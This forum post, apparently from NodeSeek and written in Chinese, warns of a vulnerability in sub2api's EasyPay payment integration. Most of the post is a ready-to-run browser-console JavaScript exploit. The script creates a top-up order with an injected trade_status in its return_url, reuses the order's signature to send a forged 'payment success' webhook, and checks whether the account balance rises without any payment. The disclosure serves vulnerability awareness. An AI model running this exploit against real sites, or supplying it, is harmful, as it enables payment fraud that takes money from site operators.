logo NodeSeekbeta

sub2api 易支付高危漏洞

sub2api 易支付高危漏洞预警可伪造支付成功回调入账
危害:攻击者无需知道商户密钥 pkey,复用下单签名即可伪造“支付成功”回调,使充值订单被判定为已支付,直接冲击余额/充值资金安全。
影响范围:使用 sub2api + 开启 易支付 EasyPay + popup / submit.php 跳转模式
🔗 Issue:https://github.com/Wei-Shaw/sub2api/issues/7881
脚本
const AMOUNT = 60;
(async () => {
const HOST = location.origin, API = HOST + '/api/v1';
const TOK = localStorage.getItem('auth_token');
if (!TOK) { console.log('未登录:localStorage.auth_token 为空'); return; }
const H = { Authorization: 'Bearer ' + TOK, 'Content-Type': 'application/json', Accept: 'application/json' };
const GET = async u => (await fetch(API + u, { headers: H })).json();
const POST = async (u, b) => (await fetch(API + u, { method: 'POST', headers: H, body: JSON.stringify(b) })).json();
const num = v => (isNaN(Number(v)) ? 0 : Number(v));
const pub = await GET('/settings/public');
const pd = (pub && pub.data) || {};
console.log('版本:', pd.version, '| 站点:', pd.site_name);
const cfg = ((await GET('/payment/config')) || {}).data || {};
if (!cfg.enabled) { console.log('支付未开启'); return; }
const me0 = ((await GET('/auth/me')) || {}).data || {};
const before = num(me0.balance);
console.log('投递前余额:', before);
let amt = AMOUNT, order = null;
const types = [...new Set(['alipay', 'wxpay'].concat(cfg.enabled_payment_types || []))];
for (const t of types) {
for (let i = 0; i < 2; i++) {
const r = await POST('/payment/orders', { amount: amt, payment_type: t, return_url: HOST + '/payment/result?trade_status=TRADE_SUCCESS' });
const d = r && r.data;
if (d && d.pay_url) { order = d; break; }
const need = String((r && r.message) || '').match(/at least (\d+)/);
if (!need) break;
amt = Number(need[1]);
}
if (order) break;
}
if (!order) { console.log('建单失败:无可用支付方式'); return; }
if (order.pay_url.indexOf('/submit.php?') < 0) { console.log('非 popup 模式(mapi),链不成立'); return; }
const q = new URLSearchParams(new URL(order.pay_url).search);
const sign = q.get('sign'), ru = q.get('return_url') || '';
const inj = ru.match(/&trade_status=[^&]*$/);
if (!inj) { console.log('已修补:return_url 注入串被剥离'); return; }
const body = {};
q.forEach((v, k) => { if (k !== 'sign' && k !== 'sign_type') body[k] = v; });
body.return_url = ru.slice(0, ru.length - inj[0].length);
body.trade_status = inj[0].slice(14);
body.sign = sign; body.sign_type = 'MD5';
const wr = await fetch(API + '/payment/webhook/easypay?' + new URLSearchParams(body).toString(), { headers: { 'User-Agent': 'EasyPay/1.0' } });
console.log('回调:', wr.status, (await wr.text()).slice(0, 24));
let st = '';
for (let i = 0; i < 12 && st !== 'COMPLETED' && st !== 'PAID'; i++) {
await new Promise(s => setTimeout(s, 600));
const od = ((await GET('/payment/orders/' + order.order_id)) || {}).data || {};
st = od.status || '';
}
const me1 = ((await GET('/auth/me')) || {}).data || {};
const after = num(me1.balance);
console.log('订单:', order.order_id, '金额:', order.pay_amount, st);
console.log('余额:', before, '->', after, '(+' + (after - before).toFixed(2) + ')');
})();

你好啊,陌生人!

我的朋友,看起来你是新来的,如果想参与到讨论中,点击下面的按钮!

📈用户数目📈

目前论坛共有72364位seeker

🎉欢迎新用户🎉